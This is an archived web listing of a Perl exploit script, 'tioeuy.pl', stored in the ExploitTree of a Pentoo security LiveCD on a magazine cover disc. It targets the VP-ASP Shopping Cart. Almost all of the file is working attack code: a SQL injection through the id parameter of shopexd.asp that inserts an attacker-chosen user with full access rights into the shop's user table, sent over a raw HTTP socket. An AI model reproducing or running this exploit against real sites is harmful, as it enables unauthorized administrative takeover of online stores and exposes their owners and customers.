home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / vpasp / tioeuy.pl < prev   
Encoding:
Perl Script  |  2005-02-12  |  1.5 KB  |  52 lines
  1. #!/usr/bin/perl
  2. # PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE***PRIVATE
  3. # 1ndonesian Security Team (1st)
  4. # ==============================
  5. # VP-ASP Shopping Cart - Exploit
  6. # Discover by : TioEuy & AresU;
  7. # Greetz to: syzwz (ta for da ipod), Bosen, sakitjiwa, muthafuka all
  8. # hackers@centrin.net.id/austnet.org, #romance@centrin.net.id
  9. # http://bosen.net/releases/
  10. use Socket;
  11.  
  12. $dodolbasik = "tioeuy.pl, VPASP exploit by TioEuy&AresU ";
  13. $aksesnya
  14. ="1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29";
  15. $pieldnya = '"fldusername","fldpassword","fldaccess"';
  16.  
  17. if ($#ARGV<4)
  18. {
  19.   print "\n$dodolbasik";
  20.   print "\n\n Usage: perl tioeuy.pl <server> <full path> <id> <user>
  21. <password> \n\n";
  22.   exit;
  23. }
  24. $kupret="$ARGV[1]shopexd.asp?id=$ARGV[2];insert into tbluser
  25. ($pieldnya)
  26. values ('$ARGV[3]','$ARGV[4]','$aksesnya')--";
  27. $kupret=~s/\ /%20/g;
  28. $kupret="GET $kupret HTTP/1.0\r\nHost: $ARGV[0]\r\n\r\n";
  29. print $kupret;
  30.  
  31. $port=80;
  32. $host=$ARGV[0];
  33. $target = inet_aton($host);
  34. @hasil=sendraw($kupret);
  35. print $gembel;
  36. print @hasil;
  37.  
  38. # ------------- Sendraw - thanx RFP rfp@wiretrip.net
  39. sub sendraw {   # this saves the whole transaction anyway
  40.         my ($pstr)=@_;
  41.  
  42.         socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
  43.                 die("Socket problems\n");
  44.                                  
  45.         if(connect(S,pack "SnA4x8",2,$port,$target)){
  46.                 my @in;
  47.                 select(S);      $|=1;   print $pstr;
  48.                 while(<S>){ push @in, $_;}
  49.                 select(STDOUT); close(S); return @in;
  50.         }
  51. }
  52.